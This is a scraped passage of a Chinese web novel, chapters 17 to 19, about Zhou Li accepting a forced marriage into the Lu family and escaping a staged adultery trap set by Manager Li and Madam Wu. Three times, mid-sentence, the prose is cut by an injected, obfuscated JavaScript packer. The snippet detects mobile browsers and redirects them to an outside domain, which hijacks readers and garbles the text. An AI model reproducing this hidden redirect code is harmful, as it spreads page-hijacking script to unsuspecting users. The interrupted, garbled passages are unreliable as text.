张进低着头道：“官府历来对赌博都是睁只眼闭只眼，赌债到底是债，只要不弄出人命，都是有道理要你还的。就算去告，大不了赔几两银子。” 偌大的厅堂，一时间又陷入沉默。梅香突然上前几步，冷冷看着周梨道：“还请表姑娘答应婚事，解我家危难。” “凭什么你家的事要阿梨去解决？”张进也上前质问道。 梅香冷笑着回头看他：“你拦着做什么？你这个表妹难道不该嫁人了吗？又没让她嫁给瘸子、麻子、穷光蛋，嫁给陆家这样的人家，难道委屈了她吗？” “你怎么知道不委屈？该嫁不该嫁，也不是你说的算！” 梅香笑着转去对秀珍道：“妹子，你看看，这就是你当初铁了心要嫁的人！不怪外人都说，你这个夫君，是齐人之福，舅舅家的表妹，姑姑家的表妹，都要搂到怀里。你为了这么个人，不把父兄的命当回事，真让人心寒呢！” “你……”张进气到语塞，郑氏狠狠拍了拍桌子：“都住嘴！” 秀珍看了他们一眼，又转过头去，偷偷抹了抹眼泪。 周梨道：“你若是来求人，好歹有个求人的样子，这样侮辱人是想做什么？” “来求人？”梅香哼了一声，“表姑娘是聪明人，应该清楚我男人是为什么糟这个殃？既然祸是因为你起的，有点良心的，都该自己去平了这个祸，还要我来求吗？。” “莫要来给我安罪名，这个殃怎么不是我哥哥糟，不是更有效果？看不见自己身不正，影子斜，所有过错都怪到别人身上，真理直气壮呢！”周梨也学着她冷笑了声，“我就是没良心，不去平这个祸，你又奈我何？” 梅香声音更冷了些：“这么说你们是打算袖手旁观吗？”说完望着郑氏道：“姑母，这也是您的意思吗？” 郑氏道：“我们会尽全力帮你们凑钱，但绝不会逼着阿梨嫁的。” “笑话，你们能凑出几个钱？”梅香厉声道。 “怎么说话的！”李氏怕就此闹僵，再无转圜之地，忙斥责梅香，又转向周梨哀求道，“表姑娘，我求你成吗？你真不能见死不救啊！我跪下给您磕一百个头都成！” 说着又要跪下，梅香忙拦住，又对着秀珍道：“妹子，你真看得下去吗？” “好了，你们不要再逼着我嫂嫂了，我会嫁的，你们告诉陆家去吧。”周梨说完便走了出去，除了李氏连声应好，屋内再没有了其他声音。 17. 回忆 老爷要娶新妇，最忙的却是她这个妾室，吴娘子从早起就开始张罗婚礼一应事宜，此时天早已黑了，才看完各处送来的账目，打发完回话的管事们。她拖着疲累的身体回到卧房，歪在榻上便不愿起来。 喜儿沏了盏茶，便上前边给她捶腿边道：“夫人，何必事事亲力亲为，您这从早忙到深夜，把自己累坏了可不划算。” “跟你说了不要再叫夫人了。”吴娘子闭目养神道。 喜儿忿忿不平道：“老爷说过的，您就是夫人，现在就在这屋子里还不能叫吗？我出去不叫就是了。” 吴娘子笑道：“你个傻丫头！这口头上的好处，占了又能怎么样？叫习惯了，出了这门也难改口，平时外人听见了也就听见了，现在新夫人就要进门，告到老夫人那，有你好果子吃。” “可夫人如此费劲心力地操办婚事又有什么好处呢？不是派人探查了，周梨就是失踪了嘛，这婚事成不成不还另说，都交给管事们走走过场就是了。”喜儿嘟囔道。 吴娘子笑骂道：“说你傻你还不服气，正因为这婚事成不了，我才更该把样样事情都办妥，让老夫人挑不出错，换个贤惠的名声不是？反正最后损害不到我什么。” 喜儿听完捋了一捋才笑道：“还是夫人英明！” 吴娘子笑着缓缓坐起，端起茶盏喝了口茶：“老爷回来了吗？” “我让乐儿去前面看了。”喜儿说了没一会儿，乐儿小跑着进了门，喘着气回道：“老爷回来就去老夫人屋内了。” “这么晚还去，有什么要紧事吗？”吴娘子皱眉问道。 乐儿吞吞吐吐道：“好像……好像是那个女医师回来了。” “什么，回来了？”吴娘子惊得站了起来，李达明明昨日才告诉她，确定周梨和那几个人一起消失的，并且官府都打探过了，没有抓这几个人，他还很笃定一定是那几个人见色起意，私自把周梨带走快活去了。 乐儿小心翼翼地道：“是，回来了，听说……听说还答应婚事了。” 啪嗒，吴娘子气得将茶盏猛地砸了出去，碎瓷片在乐儿脚边迸裂开来，乐儿往旁边一躲，衣裙和鞋面还是被溅湿了，再看吴娘子满面怒容，忙跟着喜儿一起跪了下来，一动不敢动。 可她瑟瑟发抖，正想着今日倒霉肯定要挨罚了时，吴娘子只轻声道：“手滑了而已，你们做什么，快起来收拾收拾，一会老爷就要来了。” 乐儿抬头再看时，吴娘子已神色如常，仿佛刚刚的一切都是自己的错觉一般。 冯珂那日跑去仁安堂大闹一场，被小厮丫鬟喊回去。原来是秦皓闹着要跟她和离，秦老夫人让人来请她的。虽然在秦老夫人的阻止下，和离这件事没开始就结束了，两人还是大吵一架，冯珂气得回了娘家。 这日在秦老夫人的干涉下，秦皓去冯府把冯珂接了回来。二人见了老夫人出来后，冯珂笑看着秦皓道：“你今日能去接我，我很欢喜，本来我也打算自己回来了。我仔细想过了，我确实有错。” 秦皓本来不大情愿，并不想多话，听她这么一说，倒有些心软，只支吾着“嗯”了一声。 “不过我跟周梨打架，确实是她先动手的，这件事她错更多些。”冯珂还在说着，秦皓已咬了咬牙，觉得自己心软太快了，大跨步甩开冯珂向前走去。 冯珂忙追上去拉着他道：“哎，哎，你走那么快干嘛？我还有事告诉你呢！” 秦皓耐着性子：“我还有事，你自己玩会吧。” “周梨的事也不听？”冯珂眯着眼看他。 秦皓一副我才不上当的表情：“没空，不听。” 说完又要走，冯珂急得拉着他不放道：“是大事，你不听也得听。” 秦皓见她如此郑重，终于停下来看着她。 冯珂献宝似的道：“周梨要嫁给陆志远了，你知不知道？” “她不会答应的。”陆家抬了满城都羡慕的聘礼去周家提亲，秦皓当然也有所耳闻，但他以为自己是了解周梨的。 冯珂又酸道：“你就这么了解她？” “是你非要提她，提了又不高兴。”秦皓无语。 冯珂撅着嘴道：“好嘛！但是是真的，我爹都收到陆家的请帖了。” “陆家的请帖？确定要娶阿……周梨？” “是的，我正好在场，问了他们新娘子是谁。” “怎么会呢？”秦皓突然有些迷茫，这些年他既希望周梨早点嫁，他好少点负疚之感，又私心里觉得她不嫁也好，他还能有个念想。这一天终究是来了，他却不太想面对。 冯珂见他有些失神，虽是意料之中，还是有点难过，但仍旧接着道：“不过更奇怪的是，我才回家那两日，还听我娘身边的张妈说，陆家到处拖媒婆在寻什么四什么，好命格的姑娘，又要命中带木，似乎不好找。才几天就不找了，突然就要办婚礼了。” 这些内帏私秘之事，虽然都办得隐秘，但到底都要接触外人，永州城内的大户人家交际繁杂，谁家有点什么事，其实内宅都遍知的。 秦皓疑惑道：“这有什么关联吗？” “你不知道，我问了算命先生，寻特殊命格的人成亲，一般都是为了驱灾避祸，严重的这个人是要遭殃的。”冯珂严肃地问道，“你好好想想，周梨是不是什么很好的命格？” 秦皓想了想，低落地道：“我还真不知道。” 冯珂突然觉得有些好笑，心胸却畅快起来。 可秦皓突然转身就跑，头也不回：“我要去问问她，告诉她这件事情。” 冯珂立马变了个脸，撅着嘴跺起脚，“哼，就不该告诉你！” 秦皓一口气跑到白衣巷，却被秀珍拦在门外：“你现在来添什么乱？” “我只是想见见阿梨，我想问问她是不是真心要嫁给陆志远。”秦皓急道。 “真不真心与你又有什么关系呢！”秀珍不想与他多话，只说，“阿梨一大早就出门了，我也不知道她去了哪里。你别在这杵着了，别人看见又得说闲话。” 秦皓无奈，只得不情不愿地离开白衣巷。 这一幕正好被吴娘子他们派来的人看在了眼里。 此时周梨正在井水巷探望楚云，已经日上三竿，楚云却还在床上躺着。 周梨问道：“不是说没事吗？伤哪里了？” 楚云笑着坐起来拉着周梨的手：“还好你没事，我看到你跌下马车，真是害怕极了，幸好遇到好心人相救。” “别说这些了，你到底哪里受伤了？”周梨又问道。 楚云含羞笑道：“没有。” 周梨几时在楚云脸上见过这种神情，忙按住她的手诊起脉来。楚云任由她按着，脸却越发红了。 周梨切完脉笑道：“还真是有了，恭喜心想事成。” “嗯，因为受了惊吓，找大夫才发现的，大夫说胎象不稳，让我静养一段时间。”楚云脸上满是掩不住的喜悦。 “嗯，好好听大夫的。”周梨很为她高兴，但还是担心道，“你这里的人还可靠吗？” 楚云道：“那个车夫也不知道拿了多钱好处，他跑了后，陈冕把这里人都换了一遍，应该没事了吧。也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068472|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道是谁要害我，还差点连累了你。” 周梨才知道原来楚云一点不知情，只好告诉她：“那些人是冲我来的，是你被我连累了，万幸你跟孩子都没有事。” “什么？那是谁要害你？”楚云很是震惊。 周梨摇头：“还不确定，或许过几天就知道了。” “那你还会有危险吗？”楚云担忧道。 周梨安慰道：“不会了，我福星高照，你放心吧。只是你这孩子生了之后又怎么办呢？” 楚云摸摸肚子微笑道：“如果是个男孩，我也许就能进府了吧？当然女孩也好，陈冕说他喜欢女孩。” 见她如此沉浸在即将当母亲的喜悦中，周梨也就将扫兴的话都收了起来，二人又闲谈了一会，周梨嘱咐她好好养胎就告辞了。 出了楚云的宅子，周梨走在热闹的街上，决定还是去找李掌柜探一探虚实，可没想到街角转弯就跟李掌柜和他夫人撞了个正着。 李掌柜夫人王氏手里提的吃食，也被撞掉在了地上，她才骂了两句，看清是周梨后忙笑道：“哎呦，怎么是周姑娘？可巧了。” “嫂子，李掌柜好啊，你们去哪儿？”周梨也有些惊讶，捡起吃食递给王氏。 王氏道：“今日天好，趁着仁安堂开张前他有空，我就拉他出来逛逛。” 李掌柜也开口问道：“姑娘都去哪儿了？前几日我去你家找了你好几趟。” 周梨也笑道：“遇到了点小麻烦，昨日才回来，李掌柜找我有事吗？我家里人也没告诉我。” “跟你和东家的婚事有关。”李掌柜望望四周小声道，“事关东家，我觉着还是直接跟你说好，就没搅扰你的家人。” 王氏忙拉了他一把：“东家请帖都发出去了，你还提这些干什么？” “那我知道了不说我良心能安吗？”李掌柜又转向周梨道：“姑娘不奇怪东家为什么一定要娶你吗？” “李掌柜知道内情？”周梨倒真好奇起来。 李掌柜道：“这里人多眼杂不方便说，姑娘要没急事就随我们来，实在要紧。” 秦皓在能望见白衣巷巷口的地方，来回踱步，焦急的等待让他更加心烦意乱。 这个地方他已经好几年没来过，以前不当值的时候，他总在这里等着周梨。一开始装作偶遇，到后来光明正大地等待，虽然周梨总是淡淡的疏离，但只要能见到她，哪怕只是礼貌的对他笑一笑，那时的心情也总是充满期待和说不尽的喜悦。 他永远忘不了，表舅告诉他周梨点头了那天，他有多激动，恨不得把这个消息告诉全天下。 那次杀匪立功，回来的路上，他满是憧憬，以为回来就能风风光光地娶周梨，可事与愿违。他拼命反抗，却敌不过母亲以死相逼，终究错过了周梨，也耽误了周梨。 这些年他不敢来见她，却也忘不了她，偶尔听说她拒了哪家婚事，他都既难过又庆幸。他很想知道她一直未嫁，到底有没有一点点是因为他，可他从不敢问。 她现在真要嫁了，他有无数的话想对她说，想问她，好像什么都不害怕了。 他正陷在回忆的悔恨中，不能自拔，突然有人叫他:“秦指挥，你是不是在等周梨姑娘？” “你是？”秦皓并不认识这人。 “我是周梨的邻居啊，以前经常看你在这等她。”那人笑道，“我刚刚路过裕和茶楼，看见周梨正和他们仁安堂的掌柜夫妇进去。你要寻她可以去那里，这里都是熟人，再站下去，又有人说三道四了。” 秦皓闻言再三道谢，又往裕和茶楼去了。 18. 亏欠 陈冕拉着顾临在裕和楼一个雅间坐下，笑道：“难得你今日有空，我们能好好吃顿饭了。” 说完拍了拍手，一群人端着菜鱼贯而入，以迅雷不及掩耳之势，把桌子就摆满了。 陈冕得意道：“这个排场如何？” “就你花架子多，你还有人手招待其他顾客吗？”顾临笑道。 “那你也太小看我了，我这茶楼在永州城那也是出名的。” “这也太浪费了。”顾临看桌上让人眼花缭乱的各色菜肴，足有二三十道，不禁叹息，有抬头道：“你们几个别站着了，都坐下吃吧。” “来来，都来。”陈冕忙站起身去安排招呼，“还多谢各位对在下外室的相救之恩。” 平安笑着先坐下道：“倒真是巧，没想到那位姑娘是陈公子的人。” 程顺、马齐也相继坐下，雅间的门堪堪关上之时，平安瞧见一个眼熟的身影，一闪而过，不禁喃喃道：“朱妈有些话说得也没错。” 李掌柜夫妇热络地请周梨在雅间坐下，又熟练地点起菜了，跟来这吃饭的其他客人，并没有区别。若不是早知道他与背篓客有所勾连，周梨肯定又要觉得自己多疑了。 待店小二退出后，李掌柜又问道：“姑娘这几日去了哪里，怎么一回来就答应了婚事？” 周梨诌道：“前几日我跟姐妹去拜佛，回来路上碰到几个匪徒，要劫她的车，她散了许多钱财，我们才得以逃脱。因为受了惊吓，我在她家里陪了她几日。至于婚事嘛，正是那几日，看我姐妹生活奢华，不禁生了羡慕之心，反正也嫁不了两情相悦之人，嫁到陆家也挺好。” 李掌柜心里暗道原来如此，又把背篓客找的几个不靠谱的人暗骂了八百遍。 周梨又道：“多谢李掌柜招待，现在方便告诉我缘由了吗？” “当然，陆老夫人笃信命理之学，你知道吗？”李掌柜反问道。 周梨摇头：“我虽然见过她几次，但并不了解她。” “当年东家要纳吴娘子进门，老夫人因为吴娘子的出身，怎么都不许。还是东家找玄虚观的道长算了命，说吴娘子的八字极旺东家，陆老夫人才同意。” 王氏道：“还有这一出呢，我竟都不知道。不过别说，东家好像确实娶了吴娘子后，越发飞黄腾达了。” 李掌柜继续道：“所以老夫人更深信不疑了。” “要娶我也是因为八字？”周梨问道。 “是，玄虚观算出东家今年有大灾劫，破解之法，就是娶一个生辰八字四柱地支相连的姑娘。” 周梨一时有些恍惚，她是吗？她仔细想了半天，好像她刚来时，秀珍嫂子说过：“娘之前还一直念叨，说阿梨这姑娘出生时，都道八字好极了，怎么会因为水灾就没了呢？你看这不是很准嘛，你好好的来这里了。” 陆家是从秀珍她娘口里知道的？她一时觉得可笑极了，真的八字好极的周梨，大概早就被洪水带走了。陆家要娶她这个假的，去破解灾祸。 “可这样命格的姑娘定也不是独一无二的吧，为什么一定要是我呢？”周梨疑惑道。 李掌柜解释道：“不仅要这样的八字，还要命中带木，还要年貌相当。时间又紧，又怕媒婆牙人钻空子，假造个相符的八字，那岂不坏事？权衡之下，自然是你最合适。” 所以不择手段，也要娶她回去？所以吴娘子这么怕她取代了自己的地位？ 可周梨想不明白，李掌柜为什么在这个时候，专门把这些告诉她，难道觉得知道这些秘密，能让她改变主意去拒婚？ “谢谢李掌柜告诉我这些，但是陆家因为什么娶我，对我而言并没什么区别。” 王氏道：“就是，这么听来是好事啊！有这个因由，周姑娘嫁进去能更被看重才是。” 李掌柜还待说时，门响了，小二摆完菜又出去关上了门。王氏才发现忘点了两个爱吃的菜，自己下楼去加，顺便看看有什么好酒。 李掌柜这才继续道：“如果只是为这个，我又何必特地要提醒姑娘。东家他们这是在借你的命格给自己改命，说是破解灾劫，其实不过是让你来替他挡灾罢了。原先的陆夫人病故，可不就是吴娘子虽旺东家，却是克她的，都瞒着她罢了。不可不信啊！” “可这么隐秘的事，李掌柜又是从哪里知道的？吴娘子吗？”周梨突然问道。 李掌柜讪讪笑着，还没回答，王氏又推门进来笑道：“你猜我在楼下瞧见了谁？快跟我下去陪杯酒。” 说着就拉李掌柜走，边向周梨赔笑道：“周姑娘，失陪一小会儿，恕罪，恕罪。” “谁啊？”李掌柜跟后面走出雅间。 吴娘子依旧笑道：“不告诉你，去了你就知道啦！” 二人的声音渐渐听不见了，周梨还在想，李掌柜和吴娘子到底有什么交易？李掌柜为什么要帮吴娘子做这么多危险的事？难道只是吴娘子和李掌柜暗中通匪，陆志远并不知情？ 她正想得入神，却见秦皓快步进了雅间，气喘吁吁道：“阿梨，可算找到你了。” 周梨诧异道：“你怎么来了这里？找我做什么？” 秦皓稳了稳气息方道：“我来告诉你，陆家不能嫁，你是不是什么四的命格？” “你怎么知道的？”周梨听他这么说有些好笑。 “冯珂告诉我的呀！”秦皓回过神问，“你已经知道啦？” 周梨点头：“嗯，刚刚知道，替我谢谢冯珂。” “那你还要嫁吗？” “嗯，你先出去吧，我在这里还有事。” 秦皓不可置信：“这分明是个火坑，你也要跳嘛！” 周梨没想到秦皓会如此激动，怕他又惹事，正要推他出门，只见门啪一下关了起来，接着“咔嚓”一声落锁的声音。 周梨忙去推门，果然推不开，秦皓见状准备摇门喊人，却被周梨制止了。 周梨问道：“你怎么知道我在这里的？” “我在白衣巷等你半天，你一个邻居告诉我，看见你在裕和茶楼。我来到这里，问了掌柜的，他告诉我你在这间。”秦皓老实答道。 “你在楼下看见李掌柜没有？” 秦皓仔细想了想：“没有。” 周梨一时间大概明白了怎么回事，李掌柜就是要让人都发现，她与秦皓孤男寡女共处一室，本来在外面传言，他们就剪不断理还乱的，如今她临要嫁人再来这么一出，她这名声陆家要还敢要，那陆家也别要名声了。 虽然她并不想嫁，这招能解了她的困局，但秦皓着实无辜。她想了想，走到墙边，耳朵贴在壁上，用手指叩了起来。 隔壁顾临和陈冕正在说盐商均已找妥，都在听候安排等事宜。程顺耳尖，先听到声响，站起身也贴着墙壁听了听。 顾临见他如此动作，问道：“怎么了？” 程顺答道：“大人，隔壁在叩墙壁。” “隔壁不是周姑娘吗？”平安脱口而出，他们所在的雅间再往里，只有一间房了，刚刚他看到周姑娘走过去。 陈冕对身侧道：“去隔壁看看来报。” 陈前立马开门出去又回来道：“隔壁门被锁了，不是我们楼里的锁。” 陈冕皱眉道：“怎么回事？快喊人把门锁砸了。” “慢着。”顾临阻止道，忙又问平安，“可看到周姑娘跟谁一起的？” 平安想了想道：“好像是他们仁安堂的掌柜的。” 顾临对陈冕道：“既然她没有喊门，而是在这里叩墙求助。想必不想弄出动静，你悄悄叫个锁匠来开吧。” 陈冕听完让陈前去照办。 可陈前走到楼梯口就被堵住了，吵闹声传了上来，陈冕在里面问问出什么事了。 陈前回来道：“有人来闹事，说他女人在此幽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076781|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会被人看见了，他要来抓奸，怕是拦不住了。” 顾临闻言道：“原来如此吗？” 这时敲击声更大了，似乎在屏风后面的墙角处，顾临走过去听了会：“这边声音不太一样。” 他正准备伸手探探，却见墙角被拉开了一条缝，再看时周梨已站在他面前笑道：“竟然是门，大人，我还真是福星高照。” 陈冕拍了拍脑门：“我怎么忘了这么个岔。”这个楼是他盘来的，原本就有这个门，他重新装饰的时候并没有给封掉，只稍微掩饰了下，也看不出来，这么久没人用，都忘了。 这时那群人已经冲上楼来，其中一人骂骂捏捏：“红袖你个臭婊子，敢偷男人，快给老子出来！” 周梨回头喊道：“秦皓，你快过去躲一躲。” 秦皓在后面已看到顾临，对他行了一礼，见周梨与他似乎很熟络，不由一股醋意涌上心头：“我又没做什么亏心事，为什么要躲？” 那群人已乱哄哄朝这边走来，周梨急道：“这不是让人误会嘛！” “有什么误会？阿梨，我不想你嫁到陆家，这次无论如何我不会退缩，我愿意抛开一切，带你离开这里。”秦皓越说越激动，仿佛要把这几年的悔恨都告诉周梨，“再给我一次机会好不好，阿梨？” 周梨猝不及防，她以为秦皓早已放下，不成想执念竟这样深。她还来不及反应，那群人已经开始踹门，她去拉秦皓，可他固执地就是不动。 眼看着门就要被踹开，周梨气得转身打算自己躲到隔壁去，却不想顾临走了进来，将那扇门关了起来，在桌边坐了下来。 门就在这时被踹了开来，带头那人骂道：“臭婊子，背着我偷男人，孤男寡女躲在……”话没说完，他先愣住了，这哪里是孤男寡女，怎么三个人？不是这么安排的吧？ 本来不是说假装捉奸，把门踹开，动静弄大，把人都引来，发现捉错了，再认出是秦指挥和老相好幽会就成了吗？ “严超？又是你呀。”周梨认出了带头那人。 严超已经全乱了：“怎…怎么？” 周梨突然觉得好像一切更合理了，她忙附到顾临耳边小声道：“大人，你们捉来升那日，他也在仁安堂闹事，把我们从后院都引去了前堂，那之后平安才来的。” 顾临不知道还有这么一出，他那日特地安排平安去仁安堂敲锣打鼓，一是为解周梨困局，二也是为心虚之人提供“灭口”机会，原来他们自己早有安排。 顾临走到严超面前，命道：“程顺、马齐，把他拿下！” 严超还没反应过来，已被踢倒在地上，身边的喽啰也三下五除二，被打得趴得趴，跑得跑，刚才还闹哄哄的茶楼，瞬间就恢复了安静。 陈冕站出来对着伸头出来的看客道：“小店招待不周，各位受惊了，小店特送新品茶点一份，给各位压压惊。海涵！海涵！” 几人叫了声好，看客们也欢呼着都回去了。 陈冕也走进来对顾临笑道：“承川，今日幸好有你在。” 周梨听到这两个字，心又往下沉了沉。 她依旧记得那天欢呼雀跃的心情，好像从没有那么心满意足过。那天父亲告诉她：“应溪，我给你订了亲，你猜是谁？哈哈，顾临，顾承川。承川，应溪，可般配？” 她甩了甩头，准备去看看李掌柜有没有跑，秦皓却拉住了她，他见她与顾临二人莫名的默契、熟稔，心中十分不是滋味，而且他还没得到答案。 可周梨却甩开了他的手：“还没闹够吗？你刚才的作为，至你娘于何地？至冯珂于何地？又置我于何地？” “我只是不想你跳进火坑，我想弥补过去对你的亏欠。”秦皓有些难过。 周梨幽幽道：“过去就是过去了，何必再执着，何况哪里有什么亏欠？” 她也不知道，这话是告诉秦皓的，还是告诉自己的。 19. 落叶 大抵没得到的东西，经年时光，更让人有弥足珍贵的错觉，从而遗憾或者悔恨倍增。 周梨看着秦皓悔憾的模样，突然发觉自己的遗憾难过，恐怕让顾临知道，也会如此刻她这般，觉得让彼此难堪外，根本毫无必要。 不同的是，她与秦皓还算有些纠葛，她与顾临有过什么呢？不过早已作废的一纸婚约，和她一厢情愿的单相思罢了。 周梨不想继续和秦皓纠缠，正要走出房门，却见平安又从屏风后面那道门走进来，对着秦皓道：“秦指挥，我家大人想跟您商讨下练民兵的事。” 说完摆了个请的手势，秦皓正在失神，竟就跟着他走了。 周梨才看那门关上，李掌柜和王氏就走了进来，王氏先过来拉着她：“怎么回事？刚刚闹哄哄的，我们都上不来，怎么还抓人了？” 周梨只道：“有人瞎闹事，被带走了。嫂子，李掌柜快吃吧，菜都要凉了。” 李掌柜坐下试探问道：“我刚在楼下，似乎见着秦指挥上来了，姑娘见着没？” 周梨茫然摇头道：“没有呀。” 李掌柜不好再多问，只和王氏如坐针毡般吃完了这顿饭，强笑着与周梨在楼下辞别了。 周梨站着看他们走远，不好再回茶楼。这深秋里突然又起了风，卷落了许多黄叶，倒有了些寒意。她只漫无目的地走着，心里琢磨着顾临到底要怎么做，不知道过了多久，只听有人喊她，回过头去，却是平安和程顺架着马车在她身后。 平安又做了个请的手势，周梨心跳如擂鼓，竟想逃离，却又明白不是时候。 她努力按下自己的异样情绪，爬上了马车，向顾临笑道：“大人有何吩咐？” 顾临也笑道：“不敢当，不过想问问你，为何跟李掌柜来这里？” “因为他说他知道陆家为何要娶我，我好奇心起，虽然知道可能有圈套，却还是来了。”周梨有些惭愧，他实在没想到圈套里还有秦皓。 顾临也好奇道：“为什么？” 周梨好笑道：“因为我八字好，可以替陆志远挡灾。” 顾临显然也没想到是这样的原因，只笑着摇了摇头，又问道：“陆志远又做了什么，怎么回去就答应了婚事？” 周梨只静静陈述：“我嫂子的哥哥被设计欠下了一千两赌债，陆家承诺他们，只要我答应婚事，就帮忙解决欠债。” “这样就牺牲掉自己吗？”顾临也静静地望着她道。 周梨自嘲道：“牺牲什么？这样的人家，本来还是我高攀不上的呢！” “你可不是妄自菲薄的人。”顾临想起上次在仁安堂，她说自己有“自知之明”，跟现在如出一辙，分明没有半点自轻自贱的意思。他笑看着周梨，忽而抬手，拂下了她发丝上的一片落叶，“你似乎很笃定陆家并不能把你怎么样。” 周梨愣了愣，看他仍旧拿着那片叶子，好久才笑道：“我是笃定大人很快就能收网了，我自然不会怎么样。” 顾临也低头看着叶子：“今天又闹这么一出，估计是快了。” 接着是一阵沉默，周梨只觉这氛围有些让人喘不过气，半晌才开口道：“可是李掌柜为何不怎么担心那三个的踪迹？” 顾临道：“他只是想破坏你的婚事，大约没有想过要你性命，应该不清楚他们具体的作为，你又出现了，他肯定以为他们只是行动失败了。但自然有人会担心。” “背篓客吗？”周梨喃喃道，“李掌柜到底该向着陆志远才是，为何对吴娘子的事如此上心。” 顾临抬眼看她道：“你知道吴娘子本姓李吗？” 周梨确实不知道，震惊道：“他们竟是兄妹吗？” 顾临点头：“他们父亲好赌，日子过不下去，他们兄妹很小就被卖了，李武被卖去戏班，大约光景还不错，前几年便四处寻他妹妹，才来了这里。” “为何要瞒着？” 顾临道：“吴娘子现在如此光鲜，大约权衡利弊，明面上认下这个兄长，于自己并无好处。” 吴娘子显然是想要做陆夫人的，这个哥哥的存在，等于时时刻刻在提醒别人，她卑贱的出身。 周梨看了眼顾临，时移世易，纵然是血脉相连、牵念于心的亲缘，久别重逢，都有可能成为负担，更何况她呢？ 想想又觉心烦，怎么什么都能联想到她与顾临。 “你在想什么？”顾临探究地望着她。 “没什么。”周梨心虚地避开顾临的目光，手忙脚乱掀开窗帘，往外望了望，才想起来问，“大人，要带我去哪？” 顾临依旧看着她道：“去审严超。” 周梨点了点头，打算再找点别的话头，可马车却停了下来。 平安向车内禀道：“大人，是王雄王大人的马车。” 顾临道：“让他先行。” 平安拉缰绳正要避让，对面马车上王雄已走下来，对马夫道：“快让让，一点眼力劲儿都没有。” 他是说完便快步走到顾临车前，恭敬行礼道：“下官兵备道王雄见过顾大人。” 顾临在车内垂眸冷笑了一声，微不可闻。 周梨以为是自己的错觉，抬头细看时，顾临已恢复了往日的温润模样，掀开车门帘一角道：“王大人，不必多礼。” 王雄道：“大人今日怎么有雅兴出来逛逛？我几次请大人赏光，大人都说公务繁忙回绝了。” 顾临笑道：“在下实在不胜酒力，今日也不过出来走走，正要回府了，告辞。” 他说完正要放下帘子，王雄却伸手挡住：“大人且慢。”忙乱中动作大了些，竟将帘子更挡开了些，到底看到了车内的裙角。 顾临问道：“王大人，还有何事？” “下官不知大人有美人相伴，唐突了。”王雄低头拱手道，“下官只是想知道哪里冒犯了大人，请大人明言。” 顾临笑道：“王大人何出此言？只是美人头疼病犯了，在下急着带她回府罢了，王大人见谅。” “既如此下次下官设宴，还请大人务必赏光。”王雄可算逮着机会，“否则下官又要诚惶诚恐，夜不能寐了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142045|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “王大人言重了，一定去，先告辞了。”顾临寒暄完，终于放下了帘子。 “恭送大人。”王雄看着马车走远，才收起了恭敬的姿态，哼了一声，“这不就好办了嘛！故作清高，谁说他不好女色的？” 马车内周梨望着顾临问道：“大人讨厌他吗？” 顾临摇了摇头：“谈不上，不想虚与委蛇罢了。” “他和来升的死有关吗？” “嗯。” 王氏同李掌柜匆匆回家后，掩上门才拍着手急道：“这可怎么办？怎么都还没闹就被抓走了？” 李掌柜却闷不吭声，没有回应。 王氏推他一把道：“你说话呀？” “你让我说什么？也没问着到底什么人抓走的。”李掌柜也不耐烦。 王氏骂道：“都怪你！我让你不要找严超，他万一再把之前的事说漏嘴，可怎么办？” “那不是事发突然，只好找他嘛！况且他哪有那么蠢，好好的说之前的事做什么，别自己吓自己。” “我自己吓自己？你是猪脑子，不觉得有问题吗？”王氏用手指戳着他道，“上次去抓她的人，现在还不知道在哪里？这次又这样，你还觉得我是自己吓自己？” 李掌柜也心烦意乱道：“周梨不是说了那几个人拿钱跑了吗？不还是程鹏找的人不靠谱嘛！” “她说的时候你信就算了，但你看看刚刚发生的事呢！秦皓那小子分明进了那间房，怎么就不见了？事情都还没闹起来，严超怎么就被抓走了？” 李掌柜越发被说得害怕起来，背篓客程鹏那日找来，把他吓了一跳，他怕被人发现，两人只匆匆说了几句，程鹏说周梨和去抓她的人都不见了，让他打听打听是不是被官府抓了，还说周梨似乎发现了，是他给王保军家下的药。他还说程鹏多心，就算发现了，又能说明什么？ “难道她背后真有人帮忙？” “怕就怕在这不是？”王氏在李掌柜面前拍着手走来走去，忽而停下来，“会不会是新来的那个巡抚？不是说周梨救了他？” 李掌柜冷汗直冒，但仔细想想又否定道：“不能吧，那么大个官，能管这么点芝麻大的事？周梨没这么大面子。” 王氏想想也是：“按理是不能，但周梨到底怎么回事呢？” “不管怎么回事，这回恐怕真要嫁进去了。”李掌柜愁眉苦脸。 王氏还在想事情会不会败露，听李掌柜这么说，气不打一处来：“你就知道想着你的宝贝妹妹，为了她，我们做了多少亏心事了，还是自己想想后路吧！” “她给了我们多少好处，你怎么不说？真要让周梨进了门，我们日子还有那么好过吗？哪里单单就是为了她！” 